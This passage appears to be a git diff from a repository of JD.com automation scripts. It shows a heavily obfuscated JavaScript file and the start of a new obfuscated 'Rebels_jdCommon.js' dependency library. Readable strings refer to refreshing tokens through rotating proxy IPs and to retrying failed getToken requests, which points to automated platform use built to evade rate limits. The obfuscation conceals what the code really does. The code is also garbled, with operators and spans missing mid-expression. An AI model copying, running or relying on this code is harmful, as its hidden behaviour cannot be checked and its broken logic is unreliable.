AWRnI4[yF4Ki2B](jCjINI6[KKa0Qbu(0x94)]),fN7dJiz=AWRnI4[pzWMPef](EPSFK9);if(fN7dJiz&&Yc9umK.ybdgMwE>-0x8){RkvVboQ(jCjINI6[ArGJ1Yk(ZFr428(0x6))]=QyRVwFI(ZFr428(0x23))[KKa0Qbu[ZFr428(0x1c)](void 0x0,0x97)](),jCjINI6[KKa0Qbu(ZFr428(0x57))]=ZFr428(-0xb),jCjINI6[ArGJ1Yk(0x99)]=fN7dJiz,vxfUij=fN7dJiz,QyRVwFI(-ZFr428(0x2f))[KKa0Qbu[ZFr428(0x1c)](ZFr428(0x2),0x9a)](`刷新Token代理IP:${fN7dJiz[ArGJ1Yk.call(void 0x0,0x9b)]}:${fN7dJiz[ArGJ1Yk(0x9c)]}`),H3OJsT=!0x0)}else{var W41NI8X;function cJ5jb4(OX9x6d){return Oj5aTtL[OX9x6d>-0x3?OX9x6d>0x78?OX9x6d+0x3b:OX9x6d>-0x3?OX9x6d+0x2:OX9x6d+0x54:OX9x6d-0x3a]}W41NI8X=KKa0Qbu(0x9d);if(b2K8oO(jCjINI6[W41NI8X],Y98PL_(-0x2a))&&Yc9umK.G7woUB>-cJ5jb4(0x24)){var T30GggT={wmQh2te:KKa0Qbu(0x9f)};return WnHz0i(QyRVwFI(-ZFr428(0x2f))[KKa0Qbu(0x9e)](T30GggT.wmQh2te+KKa0Qbu[ZFr428(0x1c)](void 0x0,0xa0)+ArGJ1Yk(0xa1)+'求'),'')}}function fcKezkJ(OX9x6d,y3u2D_='7<*=1}4,>.9!8w@Fj:ODHeb^Cv0Xi2NZkK5BpW+QUGA#yl$qfLPmJ{R_&r[Vgnao/6)M`(YuS"dcE;]3t~IT?xh|%zs',Ek50dMm,C_RZi0P,zxw45O9=[],j_yfM9,s1UEwO=0x0,Rd4e149,usvd_v,l1XmcF){RkvVboQ(Ek50dMm=''+(OX9x6d||''),C_RZi0P=Ek50dMm.length,j_yfM9=ZFr428(-0xb),Rd4e149=-0x1);for(usvd_v=ZFr428(-0xb);usvd_v0x58?0xd:0xe);do{RkvVboQ(zxw45O9.push(j_yfM9&ZFr428(0xa)),j_yfM9>>=ZFr428(0xc),s1UEwO-=ZFr428(0xc))}while(s1UEwO>0x7);Rd4e149=-ZFr428(-0x3)}}if(Rd4e149>-ZFr428(-0x3)){zxw45O9.push((j_yfM9|Rd4e149<ZFr428(-0xb)&&jCjINI6[zxw45O9(0xc4)]>=jCjINI6[zxw45O9(0xc5)]),lJ5t_c=jCjINI6[zxw45O9(0xc6)]>0x0&&QyRVwFI(0x32)[KKa0Qbu(ZFr428(0x47))]()-jCjINI6[KKa0Qbu(ZFr428(0x48))]>=jCjINI6[zxw45O9(0xc6)];if((XNh9Ynr||lJ5t_c)&&Yc9umK.ZMCoWc[zxw45O9[ZFr428(-0x1)](void 0x0,[0xc8])+KKa0Qbu(0xc9)](0x3)==0x31){var JYRSTh=[zxw45O9(0xca)];RkvVboQ(jCjINI6[JYRSTh[ZFr428(-0xb)]]=null,jCjINI6[KKa0Qbu(0xc2)]=ZFr428(0x29),jCjINI6[KKa0Qbu(ZFr428(0x48))]=ZFr428(0x29),jCjINI6[zxw45O9(ZFr428(0x49))]=ZFr428(-0xb))}}if(b2K8oO(ZmLhezO[zxw45O9(0xcb)],Y98PL_(-ZFr428(0x2e)))){RkvVboQ(Hgsf4m=`❌ getToken 请求失败 ➜ ${ZmLhezO[KKa0Qbu(0xcc)]}(重试${z9jQp1u}次)`,z9jQp1u++);continue}if(b2K8oO(ZmLhezO[KKa0Qbu(0xbf)],Y98PL_(-ZFr428(0x2e)))&&Yc9umK.ZMCoWc[zxw45O9(0xcd)+zxw45O9(0xce)](0x3)==0x31){RkvVboQ(Hgsf4m=`🚫 getToken 请求失败 ➜ 无响应数据(重试${z9jQp1u}次)`,z9jQp1u++);continue}try{const lfOZdvL=ZmLhezO[KKa0Qbu(0xbf)];if(lfOZdvL[zxw45O9(0xcf)]==='0'){if(WnHz0i(C_RZi0P=lfOZdvL[KKa0Qbu(0xd0)],Xi7ff3C[zxw45O9(0xd1)](s1UEwO,C_RZi0P,iXNNwy),IzZuI0&&i8e7jJ)&&Yc9umK._P5Fwe>-0x18){await aor75zR(s1UEwO,C_RZi0P)}}else{var Aiw4DdG=SLff6eg((...OX9x6d)=>{var y3u2D_=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d<0x72?OX9x6d>-0x9?OX9x6d>-0x9?OX9x6d<-0x9?OX9x6d+0x4d:OX9x6d+0x8:OX9x6d-0x15:OX9x6d+0x22:OX9x6d-0x14]},0x1);RkvVboQ(OX9x6d[ZFr428(-0x9)]=ZFr428(-0xa),OX9x6d[ZFr428(0x4a)]=0x2f);if(typeof OX9x6d[ZFr428(-0x10)]==='undefined'){OX9x6d[ZFr428(-0x10)]=IfizEP_}OX9x6d.OiReMv=OX9x6d[0x1];if(typeof OX9x6d[OX9x6d[ZFr428(0x4a)]-ZFr428(0x4b)]===ZFr428(-0xf)){OX9x6d[OX9x6d[0x41]-ZFr428(0x4b)]=KZCv3g9}if(OX9x6d[0x2]==OX9x6d[OX9x6d[ZFr428(0x4a)]-0x2f]){return OX9x6d.OiReMv[KZCv3g9[OX9x6d[0x2]]]=Aiw4DdG(OX9x6d[0x0],OX9x6d[ZFr428(0x4c)])}if(OX9x6d[ZFr428(-0x10)]===void 0x0){Aiw4DdG=OX9x6d[0x4]}if(OX9x6d[ZFr428(0x4c)]){[OX9x6d[OX9x6d[ZFr428(0x4a)]-(OX9x6d[ZFr428(0x4a)]-ZFr428(-0xe))],OX9x6d.OiReMv]=[OX9x6d[ZFr428(-0x10)](OX9x6d[OX9x6d[0x41]-ZFr428(0x4b)]),OX9x6d[0x0]||OX9x6d[OX9x6d[ZFr428(0x4a)]-ZFr428(0x4d)]];return Aiw4DdG(OX9x6d[ZFr428(-0xb)],OX9x6d[ZFr428(-0xe)],OX9x6d[OX9x6d[0x41]-(OX9x6d[OX9x6d[0x41]+ZFr428(0x1)]-ZFr428(0x7))])}if(OX9x6d[0x2]==OX9x6d[ZFr428(-0x10)]){return OX9x6d[ZFr428(0x4c)]?OX9x6d[0x0][OX9x6d[ZFr428(-0xe)][OX9x6d[ZFr428(0x4c)]]]:KZCv3g9[OX9x6d[OX9x6d[OX9x6d[0x41]+ZFr428(0x1)]-(OX9x6d[ZFr428(0x4a)]-0x0)]]||(OX9x6d[OX9x6d[ZFr428(0x4a)]-0x2d]=OX9x6d[OX9x6d[ZFr428(0x4a)]-0x2b][OX9x6d[0x0]]||OX9x6d[ZFr428(-0x10)],KZCv3g9[OX9x6d[0x0]]=OX9x6d[OX9x6d[ZFr428(0x4a)]-0x2d](HMBpG2[OX9x6d[0x0]]))}if(OX9x6d[OX9x6d[ZFr428(0x4a)]-y3u2D_(0x31)]!==OX9x6d[y3u2D_(0x59)]){return OX9x6d[y3u2D_(-0x1)][OX9x6d[y3u2D_(0x2)]]||(OX9x6d[ZFr428(-0xe)][OX9x6d[y3u2D_(0x2)]]=OX9x6d[OX9x6d[0x41]-0x2c](HMBpG2[OX9x6d[0x0]]))}},0x5);if(lfOZdvL[zxw45O9(0xcf)]==='3'&&lfOZdvL[Aiw4DdG[ZFr428(-0x1)](ZFr428(0x2),[0xd2])]===0x108&&Yc9umK.ybdgMwE>-0x8){QyRVwFI(-0x344)[zxw45O9(0xd3)](KKa0Qbu(0xd4))}else{QyRVwFI(-ZFr428(0x2f))[KKa0Qbu(0xd5)](`🚫 getToken 接口响应异常 ➜ ${QyRVwFI(-0x296)[zxw45O9[ZFr428(-0x1)](void 0x0,[0xd6])](lfOZdvL)}`)}function IfizEP_(OX9x6d,y3u2D_='$Ll1)YW`J,B0Ro6zyxq5Xki"/&>#wEdUZvGQ=nT9S(}+D|~b@:3C!sIMPAm*aKgF{jut^74?.2N[c<_8%OVpeh;r]Hf',Ek50dMm,C_RZi0P,zxw45O9=[],j_yfM9=0x0,s1UEwO=0x0,Rd4e149,usvd_v=0x0,l1XmcF){RkvVboQ(Ek50dMm=''+(OX9x6d||''),C_RZi0P=Ek50dMm.length,Rd4e149=-ZFr428(-0x3));for(usvd_v=usvd_v;usvd_v0x58?ZFr428(0x12):ZFr428(0xf));do{RkvVboQ(zxw45O9.push(j_yfM9&0xff),j_yfM9>>=ZFr428(0xc),s1UEwO-=ZFr428(0xc))}while(s1UEwO>ZFr428(0xb));Rd4e149=-0x1}}if(Rd4e149>-0x1){zxw45O9.push((j_yfM9|Rd4e149<=s1ciif){QyRVwFI(-0x344)[zxw45O9(ZFr428(0x4f))](Hgsf4m)}return C_RZi0P;function CEO2PwX(OX9x6d,y3u2D_='*9c#:u>N(0x58?ZFr428(0x12):ZFr428(0xf));do{RkvVboQ(zxw45O9.push(j_yfM9&0xff),j_yfM9>>=0x8,s1UEwO-=ZFr428(0xc))}while(s1UEwO>0x7);Rd4e149=-0x1}}if(Rd4e149>-0x1){zxw45O9.push((j_yfM9|Rd4e149<{RkvVboQ(OX9x6d[ZFr428(-0x9)]=ZFr428(-0xa),OX9x6d.uzYHdmf=OX9x6d[0x0]);if(typeof OX9x6d[ZFr428(-0x10)]==='undefined'){OX9x6d[0x3]=C_RZi0P}OX9x6d[ZFr428(0x50)]=-0x70;if(typeof OX9x6d[ZFr428(-0xe)]==='undefined'){OX9x6d[0x4]=KZCv3g9}if(OX9x6d.uzYHdmf!==OX9x6d[ZFr428(-0x3)]){return OX9x6d[0x4][OX9x6d.uzYHdmf]||(OX9x6d[OX9x6d[0x85]+0x74][OX9x6d[ZFr428(0x51)]]=OX9x6d[OX9x6d[0x85]+0x73](HMBpG2[OX9x6d.uzYHdmf]))}if(OX9x6d[0x2]==OX9x6d[ZFr428(0x51)]){return OX9x6d[0x1][KZCv3g9[OX9x6d[OX9x6d[0x85]+0x72]]]=Oj5aTtL(OX9x6d.uzYHdmf,OX9x6d[OX9x6d[OX9x6d[ZFr428(0x50)]+ZFr428(0x53)]+0x71])}if(OX9x6d[OX9x6d[ZFr428(0x50)]+0x72]==OX9x6d[ZFr428(-0x10)]){return OX9x6d[ZFr428(-0x3)]?OX9x6d[ZFr428(0x51)][OX9x6d[0x4][OX9x6d[OX9x6d[0x85]+ZFr428(0x52)]]]:KZCv3g9[OX9x6d.uzYHdmf]||(OX9x6d[OX9x6d[0x85]+ZFr428(0x3a)]=OX9x6d[ZFr428(-0xe)][OX9x6d.uzYHdmf]||OX9x6d[0x3],KZCv3g9[OX9x6d.uzYHdmf]=OX9x6d[ZFr428(0x7)](HMBpG2[OX9x6d[ZFr428(0x51)]]))}if(OX9x6d[OX9x6d[ZFr428(0x50)]+0x72]&&OX9x6d[0x3]!==C_RZi0P){Oj5aTtL=C_RZi0P;return Oj5aTtL(OX9x6d.uzYHdmf,-0x1,OX9x6d[ZFr428(0x7)],OX9x6d[OX9x6d[ZFr428(0x50)]+0x73],OX9x6d[OX9x6d[OX9x6d[ZFr428(0x50)]+0xf5]-(OX9x6d[0x85]-ZFr428(-0xe))])}if(OX9x6d[0x3]===Oj5aTtL){C_RZi0P=OX9x6d[OX9x6d[OX9x6d[0x85]+ZFr428(0x53)]+0x71];return C_RZi0P(OX9x6d[ZFr428(0x7)])}},ZFr428(-0xa)),y3u2D_=[Oj5aTtL(0x107)],Ek50dMm=Ek50dMm);switch(OX9x6d){case!Yc9umK.QUpTfCS()?-ZFr428(0x4):0x3af:Ek50dMm=KKa0Qbu(0xdd)||EPSFK9[KKa0Qbu(0xdd)];break;case Yc9umK.ZMCoWc[KKa0Qbu(ZFr428(0x5b))+KKa0Qbu(0xdf)](ZFr428(-0x10))==0x31?ZFr428(0x1f):ZFr428(0x4a):return EPSFK9[Oj5aTtL(0xe0)];case Yc9umK.G7woUB>-0x58?-0x344:ZFr428(0x2):return EPSFK9[KKa0Qbu(0xe1)];case-0x187:return EPSFK9[KKa0Qbu(0xe2)+KKa0Qbu(0xe3)+Oj5aTtL.apply(void 0x0,[0xe4])];case-0x124:Ek50dMm=KKa0Qbu(0xe5)||EPSFK9[KKa0Qbu(0xe5)];break;case ZFr428(0x23):Ek50dMm=KKa0Qbu(0xe6)||EPSFK9[KKa0Qbu(0xe6)];break;case-0x1df:return EPSFK9[Oj5aTtL(0xe7)];case-0x296:return EPSFK9[Oj5aTtL(0xe8)];case ZFr428(0x4a):Ek50dMm=KKa0Qbu[ZFr428(-0x1)](ZFr428(0x2),[ZFr428(0x56)])||EPSFK9[KKa0Qbu.apply(ZFr428(0x2),[0xe9])];break;case!(Yc9umK.ZMCoWc[KKa0Qbu(0xea)](ZFr428(-0x10))==0x31)?0x12:0x262:Ek50dMm=KKa0Qbu(0xeb)||EPSFK9[KKa0Qbu(ZFr428(0x1f))];break;case Yc9umK.QUpTfCS()?0x1217:-ZFr428(0x36):return EPSFK9[KKa0Qbu(0xec)];case 0xfc9:Ek50dMm=KKa0Qbu(0xdc)||EPSFK9[KKa0Qbu(0xdc)];break;case Yc9umK.QUpTfCS()?0x99b:ZFr428(0x54):return EPSFK9[KKa0Qbu.apply(void 0x0,[0xed])];case 0x12fc:Ek50dMm=KKa0Qbu(0xee)+Oj5aTtL(0xef)||EPSFK9[KKa0Qbu(0xf0)];break;case Yc9umK.hbdpbA8[KKa0Qbu(ZFr428(0x60))](0x5)=='j'?0xf37:-ZFr428(0x13):Ek50dMm=KKa0Qbu(0xf2)||EPSFK9[KKa0Qbu(0xf2)];break;case!(Yc9umK.ybdgMwE>-0x8)?-ZFr428(0xe):ZFr428(0x55):Ek50dMm=KKa0Qbu(ZFr428(0x56))+KKa0Qbu.apply(ZFr428(0x2),[0xf3])||EPSFK9[KKa0Qbu(0xf4)];break;case Yc9umK._P5Fwe>-0x18?0xa64:ZFr428(0x5a):Ek50dMm=Oj5aTtL(0xf5)||EPSFK9[Oj5aTtL(0xf5)];break;case Yc9umK.G7woUB>-ZFr428(0x11)?0xe94:ZFr428(0x57):return EPSFK9[KKa0Qbu(0xf6)];case!Yc9umK.QUpTfCS()?0x6a:0xb3f:Ek50dMm=Oj5aTtL(0xf7)||EPSFK9[Oj5aTtL(0xf7)];break;case!(Yc9umK._P5Fwe>-ZFr428(0x1e))?0x56:0xe2d:return EPSFK9[KKa0Qbu(0xf8)];case 0x569:Ek50dMm=KKa0Qbu(0xf9)||EPSFK9[KKa0Qbu(0xf9)];break;case 0xed3:return EPSFK9[KKa0Qbu.apply(void 0x0,[0xfa])];case 0x6c1:return EPSFK9[KKa0Qbu(0xfb)];case 0x6c6:Ek50dMm=Oj5aTtL(ZFr428(0x58))||EPSFK9[Oj5aTtL(ZFr428(0x58))];break;case 0x96f:Ek50dMm=KKa0Qbu(ZFr428(0x59))||EPSFK9[KKa0Qbu(ZFr428(0x59))];break;case Yc9umK.G7woUB>-ZFr428(0x11)?0x9bc:-0x65:Ek50dMm=Oj5aTtL(0xfe)||EPSFK9[Oj5aTtL.apply(ZFr428(0x2),[0xfe])];break;case Yc9umK.QUpTfCS()?0x1382:-0xa9:return EPSFK9[Oj5aTtL(ZFr428(0xa))+Oj5aTtL(0x100)+'or'];case 0xddc:Ek50dMm=KKa0Qbu(0x101)+Oj5aTtL(0x102)||EPSFK9[KKa0Qbu.call(void 0x0,0x101)+Oj5aTtL[ZFr428(0x1c)](void 0x0,0x102)];break;case Yc9umK.ZMCoWc[KKa0Qbu.apply(ZFr428(0x2),[0xea])](0x3)==0x31?0x87a:-0x66:Ek50dMm=KKa0Qbu(0x103)+Oj5aTtL(0x104)||EPSFK9[Oj5aTtL(0x105)];break;case ZFr428(0x5a):Ek50dMm=KKa0Qbu(0x106)||EPSFK9[KKa0Qbu(0x106)];break;case!(Yc9umK.W0qia5[KKa0Qbu(ZFr428(0x5b))+KKa0Qbu(0xdf)](ZFr428(-0xb))==ZFr428(0x5c))?0x7b:0x1f1:Ek50dMm=y3u2D_[0x0]||EPSFK9[Oj5aTtL(0x107)];break;case 0x12f9:Ek50dMm=KKa0Qbu[ZFr428(0x1c)](ZFr428(0x2),0x108)||EPSFK9[KKa0Qbu(0x108)];break;case Yc9umK._P5Fwe>-ZFr428(0x1e)?0xc33:-ZFr428(0x5d):Ek50dMm=Oj5aTtL(ZFr428(0x5e))+KKa0Qbu(0x10a)+ZFr428(0x5f)||EPSFK9[Oj5aTtL(ZFr428(0x5e))+KKa0Qbu(0x10a)+ZFr428(0x5f)];break;case!(Yc9umK.G7woUB>-0x58)?ZFr428(0x23):0xd28:return EPSFK9[KKa0Qbu(0x10b)];case!(Yc9umK.ybdgMwE>-ZFr428(0xc))?0x47:0x36c:Ek50dMm=KKa0Qbu(0x10c)||EPSFK9[KKa0Qbu(0x10c)];break;case 0x483:return EPSFK9[Oj5aTtL(0x10d)];case Yc9umK.hbdpbA8[KKa0Qbu(ZFr428(0x60))](0x5)=='j'?0x110c:-0x78:Ek50dMm=KKa0Qbu(ZFr428(0x61))||EPSFK9[KKa0Qbu(ZFr428(0x61))];break;case 0x51d:Ek50dMm=Oj5aTtL(0x10f)||EPSFK9[KKa0Qbu(0x110)+'te'];break;case 0xdd0:Ek50dMm=KKa0Qbu(0x111)||EPSFK9[KKa0Qbu(0x111)];break;case Yc9umK.pNeFGh>ZFr428(-0xb)?0xa91:-0xa1:return EPSFK9[Oj5aTtL(0x112)];case!(Yc9umK.ZMCoWc[KKa0Qbu(0xea)](ZFr428(-0x10))==ZFr428(0x26))?ZFr428(0x42):0x137c:Ek50dMm=Oj5aTtL(0x113)||EPSFK9[Oj5aTtL.apply(ZFr428(0x2),[0x113])];break;case Yc9umK._P5Fwe>-ZFr428(0x1e)?0xcd9:0xdf:return EPSFK9[KKa0Qbu(0x114)];case 0x4d1:return EPSFK9[Oj5aTtL(0x115)]}return EPSFK9[Ek50dMm];function C_RZi0P(OX9x6d,Oj5aTtL='AeonBU.Cr4tuidIWD=b8(Km!)XM~xYvh|F>_O3Ng]j[fHE5@";?6p1QLaJskZV:`GR/9ZFr428(0x11)?0xd:0xe);do{RkvVboQ(C_RZi0P.push(KKa0Qbu&ZFr428(0xa)),KKa0Qbu>>=0x8,zxw45O9-=0x8)}while(zxw45O9>0x7);j_yfM9=-0x1}}if(j_yfM9>-ZFr428(-0x3)){C_RZi0P.push((KKa0Qbu|j_yfM9<t_Fs0pu)=NbY.4v1IQ!A8[GM5e<:;3UC%JVLin2wSK"BW6(o|~dX*Tlc',OX9x6d[ZFr428(0x7)]=''+(OX9x6d[OX9x6d[ZFr428(0x62)]-ZFr428(0x24)]||''),OX9x6d.DIOVYoV=OX9x6d[OX9x6d.tCBxns-ZFr428(0x4d)].length,OX9x6d[OX9x6d.tCBxns-0x2b]=[],OX9x6d[0x5]=ZFr428(-0xb),OX9x6d[ZFr428(-0x8)]=0x0,OX9x6d[ZFr428(0x63)]=-0x1);for(Oj5aTtL=0x0;Oj5aTtLZFr428(0x11)?OX9x6d[ZFr428(0x62)]-ZFr428(0x54):0xe);do{RkvVboQ(OX9x6d[ZFr428(-0xe)].push(OX9x6d[OX9x6d.tCBxns-(OX9x6d.tCBxns-ZFr428(-0xa))]&0xff),OX9x6d[OX9x6d[ZFr428(0x62)]-(OX9x6d[ZFr428(0x62)]-0x5)]>>=0x8,OX9x6d[0x6]-=ZFr428(0xc))}while(OX9x6d[0x6]>0x7);OX9x6d.VlItGA=-ZFr428(-0x3)}}if(OX9x6d[ZFr428(0x63)]>-0x1){OX9x6d[OX9x6d.tCBxns-ZFr428(0x4b)].push((OX9x6d[OX9x6d[ZFr428(0x62)]-ZFr428(0x2e)]|OX9x6d[ZFr428(0x63)]<ZFr428(0x64)?OX9x6d[OX9x6d.tCBxns+ZFr428(0x7)]:cPCaoN0(OX9x6d[OX9x6d[ZFr428(0x62)]-ZFr428(0x4b)])}function zs5XaOo(){return['bpF?','t=mk','ARQ!0.X]K:b2D',']^e"4J_#q','{^6k.J+#q',0x3,'undefined',0x4,'D5Yq25D',0x1a,0x0,0x5,'length',0x6,'fromCodePoint',0xc,0x3f,'push',0x1,0x16,'apply',0x13,0x12,void 0x0,0x23,0x3b,'kDxcDAm',0x96,0x2,0x24,0x1fff,0xff,0x7,0x8,0x7f,0x25,0xe,0x49,0x58,0xd,0xda,'gN0IqH','bZ6iSQc',0x9,'PzoDg6',0xe0,'URaAE3',0x15,0xcd,'call',0x20,0x18,0xeb,0x1f,0x26,0xe8,0x32,0x2f,'PpqIm9j',0x31,0x30,0x36,null,0x1e,0x5b,0x4e,0x59,0x2a,0x344,0x66,'BrN4FI_','coZeZn','m0dXUo',0x6e,'OBgtO0',0x4a,0x35,0x65,0xa4,0x72,0x6b,'hf6Wea','pWhQ5lP',0x81,'es',0x187,0x8e,0x90,0x93,0x8c,0xad,0xc0,0xc3,0xc7,0xc4,0x41,0x2b,'OiReMv',0x2d,0xd8,0xd9,0x85,'uzYHdmf',0x71,0xf5,0x22,0x64,0xe9,0x98,0xfc,0xfd,0xa8,0xde,0x6a,0xbb,0x109,'l',0xf1,0x10e,'tCBxns','VlItGA',0xb5]}function SK4J62(RkvVboQ,Oj5aTtL=0x0){var y3u2D_=function(){return RkvVboQ(...arguments)};return OX9x6d(y3u2D_,'length',{'value':Oj5aTtL,'configurable':true})} \ No newline at end of file diff --git a/jd/utils/Rebels_jdCommon.js b/jd/utils/Rebels_jdCommon.js new file mode 100644 index 00000000..9b2d283f --- /dev/null +++ b/jd/utils/Rebels_jdCommon.js @@ -0,0 +1,6 @@ +/* +专用依赖库,必须存在,否则报错。 +new Env('Rebels_jdCommon'); +*/ + +function rK45quy(){}var cxe4nWS=Object['defineProperty'],rApiUiv,ORi6Xa_,FUxHt8,_ur_8HD,be2Bx5,rReTqO,MocfTe,N_Y9bri,OmVFw6R,SauZPG,ksAIOZl,M9UH60W,uo1eqeV,Qknz4M1,L9nQB4r,fYCH9k;function jRDvSi(rK45quy){return rApiUiv[rK45quy>0x1dd?rK45quy+0x58:rK45quy<0x1dd?rK45quy>0x45?rK45quy>0x45?rK45quy-0x46:rK45quy+0x5c:rK45quy+0x2e:rK45quy+0x39]}rK45quy(rApiUiv=LNlfgb(),ORi6Xa_=Zy9IaB((rK45quy,cxe4nWS)=>{return cxe4nWS(rK45quy())},0x2)(TVhrr1f,pE6kHL));var d_VGdWb=[],IOmkxPs=[wePIns(jRDvSi(0x9b)),wePIns(0x1),wePIns(jRDvSi(0xa3)),'S|Bo%svKVD,IENElTX*s8"EInu0%Oj7;WGqb.6lb{c1E[E<5sa5"qE*uh`moP((#Qgpe{s*y_RwNm||{Smm6tAD::mMz(J9^tlVFOd$9_!YiWj242]%N#P}46m^nfz*td>%KgC*3*F~(!>l#SkzD!E!eXQfnfih&dD|{uk=3n4Woh~D7sZY@!OqMf02','N?18qf;|k:tDbtLPH&%d6%>|OJh=n^CWNM',wePIns(jRDvSi(0xb8)),wePIns(jRDvSi(0xbb)),wePIns(jRDvSi(0xa1)),'OLlnKWXD!5b9hgLPB9`S6%>|OJ5XmSYC.k@2l1$@J','41v8|E{;?^=hMdgf),4xhPa+tVZ1*gP}lZ3ds2','w[m]Q2Dk{@}6!:LPB9O56%>|OJh=k4Jm2A/DI}v',wePIns(jRDvSi(0x9e)),wePIns(jRDvSi(0xab)),wePIns(jRDvSi(0xad)),'9rpt@g|l{:.>]H*?3oIY~#m,9_*$#ttgDo:(SHD%>da1qY','9rpt@g|l9}a$9)F?3okh~#m,9_$OBY?EGMtU8o:S~5h6cJ}Q',wePIns(0xa),wePIns(jRDvSi(0xb4)),'N?39$l]m5{)i:)IYX_&3Yc}EMpH|AtS2;knSXXjS7lV^lJdzp)r2i?"qq!F6QSDaVXwVG','9rpt@g|la88$}xJ|>JQ^XEY_23O>71unV22@Lv]2bc2T}pHJX{}l!}u(omt1gJ(`ijm@%aY(','w[m]Q2Dk{@}6!:LPB9d^6%>|OJh=k4Jm2A/DI}v',wePIns(jRDvSi(0xa0)),'41g<8R*VJ4))WIt1@|QFKMXe(2!?rJS2&haSXXjSO6OqnAzw,%>|{uqX+&_M}]TTYc^8xu+fN!W{Ui>sy[z=h:l7%.O9WI&5s8"|0)[>h~>dzz|JE25V@J',wePIns(0xf),'9rpt@g|lm1$xgdUB^J_',wePIns(jRDvSi(0xaf)),wePIns(jRDvSi(0xe4)),wePIns(jRDvSi(0x9f)),wePIns(0x13),wePIns(0x14),wePIns(0x15),wePIns(jRDvSi(0xc2)),wePIns(0x17),wePIns(0x18),'Kz]A,2|&!5b9hg`','3zrHEm[|,ma2+(q','IP?m*`J4C3Io/&wBhJ]5"znL[)(|8&{LY(',wePIns(0x19),wePIns(jRDvSi(0xb5)),'$j0C}ov|0~rS2','?A)|?F$4"E2"NCd|m$F5n%{}5}`)]aqo*RI',';)O:LdUgs>k`H8x%!5WDOkA_|>&S3mE','9rpt@g|lm1L[In5|_&.^Qw"6Js1%8SrPu{TmJ',wePIns(0x20),wePIns(0x21),wePIns(0x22),wePIns(0x23),wePIns(0x24),wePIns(0x25),wePIns(jRDvSi(0x114)),'9rpt@g|lm16LWCUBXOd+}{&Jj3',wePIns(0x27),'qArg+C*Fwf0"kMQ|>J3^FK"6f#xd0RrDkX:}]68`WM0BB,[$',';)O:&)|WLPRc?1M#8uU?n;R9kyo|Y+p|ECik)Q>(38ti)dj','{ex6|E>kT"f&!:%',wePIns(0x30),wePIns(0x31),wePIns(0x32),wePIns(jRDvSi(0xc8)),wePIns(0x34),wePIns(0x35),wePIns(0x36),'9rpt@g|lm1Z$]%qBXO|+lKbuZQxdbS',wePIns(0x37),'7igqi6|+A1kRJ',wePIns(0x38),wePIns(0x39),'`x9Hvlfw=mbC|lv3KhBxR*s$0w',wePIns(0x3a),wePIns(0x3b),wePIns(0x3c),'`x9HvlT|&mC^,/:hbM3CcuI&BoPX|ltz60','`7#vZQ5>Ka@"O&`|>J.^,M3K|3','`x9H>x>XXo/)|m*Kip)SaL>X]w','iLRvJGf!l:H$NX5|iz_',wePIns(0x3d),wePIns(0x3e),wePIns(0x3f),'?A)|?FX<6]z',wePIns(0x40),wePIns(0x41),wePIns(0x42),'F}/B|?ilPK)>Wn9|oWG^lh2','`x9Ho[489.TSvO:fAe|O>>a','ei+Ak|HkT"f&!:%',wePIns(jRDvSi(0xcb)),'z#RvZQD4rf_oX+d|RHY',wePIns(0x45),wePIns(0x46),wePIns(0x47),wePIns(0x48),wePIns(0x49),wePIns(0x4a),wePIns(0x4b),'#14Po4py.@V)*@lZi|BFBECnCa',wePIns(0x4c),wePIns(jRDvSi(0xcd)),'`x9H%m[|f[z]R5FaT1uN',wePIns(jRDvSi(0x49)),wePIns(0x6e),wePIns(0x6f),wePIns(jRDvSi(0xd7)),wePIns(0x71),wePIns(0x72),wePIns(0x73),'}$Cuhdmqn|:c~N6F|Cx','}$Cu9|y/D@xy{I)vJJVRB%W9','3|P2Q',wePIns(0x74),wePIns(jRDvSi(0x46)),'W|Kb',wePIns(0x76),wePIns(0x77),wePIns(0x74),wePIns(0x78),wePIns(0x79),wePIns(0x7a),wePIns(jRDvSi(0xd8)),wePIns(0x7c),wePIns(jRDvSi(0xd9)),wePIns(0x7e),jRDvSi(0x48),'A^}[UN@IY2xlP}dqDHth/7u>KF9K?Abh|9NDIANS;~%Hhay;ZzG/rSv6+?X&>pGw4^q%:X([I^/S?fu',wePIns(0x7f),wePIns(jRDvSi(0x47)),wePIns(jRDvSi(0x46)),'}$Cuhdmqn|^9N@#',wePIns(jRDvSi(0xdd)),wePIns(0x82),wePIns(jRDvSi(0x47)),wePIns(0x78),jRDvSi(0x4f),wePIns(jRDvSi(0xdb)),wePIns(0x84),wePIns(0x85),wePIns(0x86),wePIns(0x87),wePIns(jRDvSi(0xde)),wePIns(0x89),wePIns(jRDvSi(0xdf)),'}$Cuhdmqn|b"^:w1@0FRv:<','ik$Ln2jp|)M31Mf*<$[3ZoqS',wePIns(jRDvSi(0xb0)),'ik$Ln2jp|)~LQGH!=0+39oc[qYde~4GX=?D',wePIns(0x8c),wePIns(jRDvSi(0xe0)),'}$Cuhdmqn|)7n65cF[HB^w"B{&xG+t]>Y8RaQec*y7h?|Fg=f','Pr|!;ucB',wePIns(0xeb),wePIns(jRDvSi(0x107)),'RXYbc:qR|}*=]~G3U}Mp7V6gP}1$>4Awh+Gs9?=Bt',wePIns(0xed),wePIns(0xee),wePIns(0xef),wePIns(jRDvSi(0x109)),wePIns(jRDvSi(0x10a)),wePIns(jRDvSi(0x10b)),wePIns(jRDvSi(0x10c)),wePIns(0xf4),wePIns(0xf5),'V|cE*"Q@@!',wePIns(jRDvSi(0x10d)),wePIns(0xf7),wePIns(0xf8),jRDvSi(0x48),wePIns(jRDvSi(0x4d)),wePIns(0xfa),wePIns(jRDvSi(0x10e)),wePIns(jRDvSi(0x10f)),wePIns(0xfd),wePIns(0xfe),wePIns(0xff),'*)wV&Zb[|FuYbf3w&bR_|{wn_+kA~DuZBNE}Q}EJ',wePIns(0x111),wePIns(jRDvSi(0x115)),wePIns(0xff),wePIns(0x112),wePIns(0x86),wePIns(0x113),wePIns(0xf0),wePIns(jRDvSi(0xdc)),wePIns(jRDvSi(0x119)),wePIns(0x115),wePIns(jRDvSi(0x4e)),wePIns(jRDvSi(0x4d)),wePIns(jRDvSi(0x11a)),wePIns(0x118),wePIns(0x109),wePIns(0x119),'(|#VQ','x0@;eJBD]|9vmI*;$O$$XZb',wePIns(jRDvSi(0x58)),wePIns(jRDvSi(0x11c)),wePIns(0x11c),wePIns(0x11d),wePIns(jRDvSi(0x11d)),wePIns(0x11f),jRDvSi(0x48),wePIns(0x110),wePIns(0x120),'W|Kb',wePIns(0x110),wePIns(0x121),wePIns(0x122),wePIns(0x123),wePIns(0x124),wePIns(jRDvSi(0x4c)),'Jy4|g',wePIns(jRDvSi(0x